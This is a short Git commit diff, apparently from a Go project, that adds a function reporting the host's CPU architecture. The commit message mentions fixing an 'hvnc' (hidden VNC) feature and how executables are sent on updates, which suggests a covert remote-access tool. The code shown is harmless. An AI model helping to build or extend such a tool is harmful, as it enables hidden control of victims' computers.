fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.
This commit is contained in:
@@ -5,7 +5,9 @@ package sysinfo
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func collectPlatform() Info {
|
||||
@@ -97,3 +99,28 @@ func totalRAM() string {
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func HostArch() string {
|
||||
var utsname syscall.Utsname
|
||||
if err := syscall.Uname(&utsname); err == nil {
|
||||
buf := make([]byte, 0, len(utsname.Machine))
|
||||
for _, c := range utsname.Machine {
|
||||
if c == 0 {
|
||||
break
|
||||
}
|
||||
buf = append(buf, byte(c))
|
||||
}
|
||||
machine := string(buf)
|
||||
switch machine {
|
||||
case "x86_64":
|
||||
return "amd64"
|
||||
case "aarch64":
|
||||
return "arm64"
|
||||
case "armv7l":
|
||||
return "armv7"
|
||||
case "i686", "i386":
|
||||
return "386"
|
||||
}
|
||||
}
|
||||
return runtime.GOARCH
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user